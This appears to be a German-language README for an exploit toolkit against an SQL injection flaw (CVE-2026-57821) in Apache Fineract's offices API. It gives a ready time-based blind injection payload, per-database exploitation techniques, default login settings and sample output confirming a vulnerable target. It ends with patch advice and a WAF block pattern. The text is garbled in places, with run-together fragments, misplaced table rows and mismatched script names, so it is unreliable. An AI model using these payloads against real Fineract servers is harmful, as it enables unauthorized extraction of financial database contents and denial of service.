
🔐 CVE-2026-57821 - Apache Fineract SQL Injection Toolkit 📚 Two Python scripts for authorized security testing: verifier.py (safe detection, no extraction) and exploit.py (deep analysis). Supports 11 DB types. Perfect for understanding SQL injection vulnerabilities. Only legal tests ⚠️ for educational & research purposes only.

⚠️ RECHTLICHER & ETHISCHER HINWEIS
Dieses Toolkit wird streng zu Bildungs‑, Schulungs‑ und autorisierten Sicherheitstestzwecken bereitgestellt.
Die unbefugte Nutzung gegen ein System ohne ausdrückliche schriftliche Genehmigung ist illegal und verstößt gegen Computermissbrauchsgesetze.
Der Autor übernimmt keinerlei Haftung für Missbrauch oder Schäden.
Sie sind allein für Ihre Handlungen verantwortlich.
CVE-2026-57821 ist eine SQL-Injection-Schwachstelle, die im API-Endpunkt zur Auflistung von Büros von Apache Fineract entdeckt wurde.
| Attribut | Detail |
|---|---|
| Endpunkt | /api/v1/offices |
| Parameter | orderBy |
| Methode | GET |
| Authentifizierung erforderlich | Ja (nur authentifizierte Benutzer) |
| Betroffene Versionen | Apache Fineract ≤ 1.14.0 |
| Gepatchte Version | Apache Fineract 1.15.0 |
Die Schwachstelle besteht, weil der orderBy-Parameter direkt in SQL-Abfragen eingebettet wird, ohne ordnungsgemäße Bereinigung. Ein Angreifer mit gültigen Anmeldeinformationen kann in Klammern () eingeschlossene Unterabfragen in den orderBy-Parameter einschleusen.
Warum dies frühere Korrekturen umgeht:
ColumnValidator ein, um ORDER BY-Klauseln zu bereinigenORDER BYBeispiel-Angriffsvektor:
GET /api/v1/offices?orderBy=(SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)&limit=1
| Auswirkung | Beschreibung |
|---|---|
| Datenextraktion | Zeitbasierte blinde SQL-Injection kann vertrauliche Datenbankinhalte extrahieren |
| Denial-of-Service | Schwere Abfragen können Ressourcen des Verbindungspools erschöpfen |
| Offenlegung von Informationen |
Dieses Toolkit erkennt automatisch und passt Exploitationstechniken für 11 verschiedene Datenbank-Backends an:
Dieses Projekt bietet zwei Python-Skripte für verschiedene Sicherheitsbewertungsszenarien:
verifier.py – Sicheres und minimales ÜberprüfungswerkzeugZweck: Schneller Nachweis der Schwachstellenexistenz ohne Datenextraktion.
Was es tut:
VULNERABLE oder NOT VULNERABLE für jeden Datenbanktyp✅ Vorteile:
📋 Anwendungsfall: Erste Bewertung, um festzustellen, ob das Ziel verwundbar ist.
exploit.py – Umfassender SicherheitsanalysatorZweck: Vollständige Ausnutzung der Schwachstelle zur Extraktion von Datenbankinformationen.
Was es tut:
✅ Vorteile:
📋 Anwendungsfall: Tiefergehende Sicherheitsanalyse nach Bestätigung der Schwachstelle.
🔍 Hauptunterschied:
verifierPoC.pysagt Ihnen ob es verwundbar ist;exploit.pyzeigt Ihnen was extrahiert werden kann. Beide erfüllen unterschiedliche, aber komplementäre Rollen in einem Sicherheitsbewertungs-Workflow.
requests-Bibliothekpip install requests
Bearbeiten Sie die folgenden Variablen am Anfang beider Skripte:
1️⃣ exploit.py - Tiefenscan
python3 exploit.py
Erwartete Ausgabe:
CVE-2026-57821 - Apache Fineract Vulnerability Verifier
══════════════════════════════════════════════════════════════════════════════════════
@tc4dy is here :) Good Luck!
CONNECTION SUCCESS
BASELINE: 0.234s
STARTING VULNERABILITY VERIFICATION
VERIFICATION RESULTS
PostgreSQL: VULNERABLE
MySQL: NOT VULNERABLE
MariaDB: NOT VULNERABLE
Oracle: NOT VULNERABLE
MSSQL: NOT VULNERABLE
CONCLUSION: TARGET IS VULNERABLE (CVE-2026-57821 CONFIRMED)
Interpretation: Wenn VULNERABLE für einen Datenbanktyp erscheint, ist das Ziel betroffen.
CVSS-Score
| Metrik | Wert |
|---|---|
| CVSS v3.1 Basiswert | 8.1 (Hoch) |
EPSS-Score
0,29% (Wahrscheinlichkeit der Ausnutzung innerhalb von 30 Tagen)
CWE-Zuordnung
CWE‑89: Fehlerhafte Bereinigung spezieller Elemente in einem SQL-Kommando ('SQL-Injection')
Warum der Payload funktioniert
Der anfällige Code in Apache Fineract 1.14.0:
// Vereinfachte anfällige Logik
String orderBy = request.getParameter("orderBy");
if (ColumnValidator.isValid(orderBy)) {
// VALIDATOR SCHLÄGT FEHL BEI: "(SELECT ...)"
// Überprüft nur auf einfache Spaltennamen
String sql = "SELECT * FROM offices ORDER BY " + orderBy;
// Führt Abfrage mit Benutzereingabe direkt aus
}
Beispiel-Angreifer-Payload:
GET /api/v1/offices?orderBy=(SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)&limit=1
Resultierendes SQL:
SELECT * FROM offices ORDER BY (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)
Der ColumnValidator prüft auf Spaltennamen, übersieht jedoch die verschachtelte Unterabfrage, was die Ausführung beliebigen SQL-Codes ermöglicht.
| Fehlerbasierte Techniken können Datenbankstruktur und -inhalte offenlegen |
| Attribut | Detail |
|---|
| Entdecker / Melder | Terence Monteiro (Apache Fineract Team) |
| Datum der öffentlichen Offenlegung | 14. Juli 2026 |
| Gepatchte Version | Apache Fineract 1.15.0 |
| Offizielle Ankündigung | Apache Mailingliste |
| GitHub-Fix | PR #6048 |
| Datenbank | Erkennungsmethode | Exploitationstechnik |
|---|
| PostgreSQL | Zeitbasiert (pg_sleep) | Zeitbasierte Blind |
| MySQL | Zeitbasiert (SLEEP) | Zeitbasierte Blind |
| MariaDB | Zeitbasiert + @@version_comment | Zeitbasierte Blind |
| MSSQL | Fehlerbasiert (CONVERT-Fehler) | Fehlerbasiert |
| Oracle | Zeitbasiert (DBMS_LOCK.SLEEP) | Zeitbasierte Blind |
| SQLite | Schwere Abfrage (Kartesisches Join) | Zeitbasiert (Schwer) |
| Firebird | Schwere Abfrage (Kartesisches Join) | Zeitbasiert (Schwer) |
| DB2 | Schwere Abfrage (Kartesisches Join) | Zeitbasiert (Schwer) |
| Informix | Schwere Abfrage (Kartesisches Join) | Zeitbasiert (Schwer) |
| H2 | Schwere Abfrage (Kartesisches Join) | Zeitbasiert (Schwer) |
| Unbekannt (Allgemein) | Fallback auf PostgreSQL | Zeitbasiert |
| Variable | Beschreibung | Standardwert |
|---|
TARGET | Fineract-API-URL | http://localhost:8080/fineract-provider/api/v1/offices |
USERNAME | API-Authentifizierungsbenutzername | mifos |
PASSWORD | API-Authentifizierungspasswort | password |
TENANT_ID | Mandantenkennung | default |
BASE_SLEEP | Schlaftimer für zeitbasierte Tests (exploit.py) | 6 |
SLEEP_SECONDS | Schlaftimer für zeitbasierte Tests (verifier.py) | 5 |
TIMEOUT | HTTP-Anfragezeitlimit | 25 (exploit) / 15 (verifier) |
MAX_RETRIES | Wiederholungsanzahl für fehlgeschlagene Anfragen | 2 |
| Vektor | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H |
| Angriffsvektor | Netzwerk |
| Erforderliche Berechtigungen | Niedrig |
| Benutzerinteraktion | Keine |
| Maßnahme | Priorität |
|---|
| Upgrade auf Apache Fineract 1.15.0+ | 🔴 Kritisch |
| Patch PR #6048 anwenden | 🔴 Kritisch |
WAF-Regel: orderBy blockieren, das (SELECT, SLEEP(, pg_sleep(, WAITFOR enthält | 🟠 Hoch |
Protokolle überwachen auf orderBy mit Klammern oder Unterabfrage-Schlüsselwörtern | 🟠 Hoch |
| Datenbankverbindungspool-Überwachung zur Erkennung von Ressourcenerschöpfung | 🟡 Mittel |